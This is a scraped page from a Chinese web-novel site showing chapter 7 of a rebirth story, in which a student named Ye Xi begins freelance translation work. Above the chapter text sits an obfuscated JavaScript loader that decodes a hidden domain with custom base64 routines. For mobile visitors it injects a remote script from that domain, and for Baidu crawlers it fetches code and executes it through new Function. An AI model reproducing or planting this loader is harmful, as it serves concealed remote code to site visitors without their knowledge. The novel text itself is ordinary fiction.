妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

从励志到丽质[重生] 第7节(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

终其原因

——高段位先进的科学技术。

普通群众不知道,近代过后,西方科学有完整独立的科学体系,相互交流、创新,而华国在很多科学理论方面,都没有话语权。

有些华国科学家们的挣扎和努力,不亚于当初的革.命者,不亚于为国牺牲的英雄。

重来一世可以做什么?

叶曦有个梦想,尽力改变华国工业科技行业,能改变多少改变多少,她还年轻,不应局限在前世的发明与论文中。

她至少要让自己实现应有的价值。

让多一些的“made in china”,不再是“装配 in china”,而是真正高阶且顶级的产品。

梦想很丰满,现实很骨干。

爬向高阶金字塔的路,还需要一步一步慢慢爬。

首先——她需要生存。

靠她曾经的几项专利挣钱?

这不现实。

从头再来,没有实验数据的某些工业设计等同于耍流氓,她一毫无背景的大学生,谁都可以来泼一盆脏水。

况且申请专利哪怕不是申请发明类专利,她当初第一次也花费整整一年时间,更不用提立即挣钱,这个只能一步一步来。

打开电脑。

叶曦意外发现,自己竟然已经通过译心网试验,成为一枚译员。

速度比当初注册的时候快整整三天,是因此时注册的人少,还是因她翻译速度冲破苍穹,令译网审核人员刮目相看?

她开始完备个人资料。

没有等级证书(普通四级对译员是渣渣),没有什么曾曾经翻译的资料,做得会议陪同或地陪经验,甚至连语言差不多都是自学的(大学英语公共基础课程忽略不计)。

简历上,只写着精通英语德语,法语俄语水平一般。

她是个菜鸟渣渣,

超厉害那种。

第7章 东阳集团

叶曦开始浏览译网上的各种单子。

自由翻译员接单初期,证书学校对口专业等是一块敲门砖,剩下即靠经验累积与技术与成品例子。

除去经验与技术,叶曦什么都没有。

但经验与技术,恰巧是做译员最重要的一个环节。

没有天上掉下来的馅饼,她即按部就班,一个一个脚印来,抛除乞丐价格、专业不对口,从矮子里挑选出合自己心意的。

其中,德语法语等小语种最贵。

平均菜鸟价格——千字50元,超厉害也得从最基础做起。

接下来的日子很充实。

翻译是一个耐得住寂寞的辛苦活计。

费眼睛、费手、费脑,成天对着电脑。

因此,她基本一小时一歇,除去歇息、去校外吃饭、买面膜护肤。

叶曦的目光对着完源语言与目的语言快速腾挪转移,同时纤细修长手指不停在电脑键盘上跳动。宿舍里只听到“哒哒哒”手指敲击电脑键盘的声音。

整个时间都花费在翻译身上。

很久没有这么全身心投入一件事情,满足而充实。

叶曦的翻译速度非常快。

仅仅两日半,靠接各种翻译工作室小单子,她已经挣下近八百块。

小工作室付款比公司随意。

公司很多都要等到某月某日发工资,财务才统一结账。

重要的是,她与各翻译工作室建立微弱的友好关系。他们对她的翻译成果非常满意。

别人的翻译是任务。

她的翻译是一件接近完美的作品。

每一个词汇都贴合度非常高,格式也是按照最贴合形式来,工作室拿回去可直接使用。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间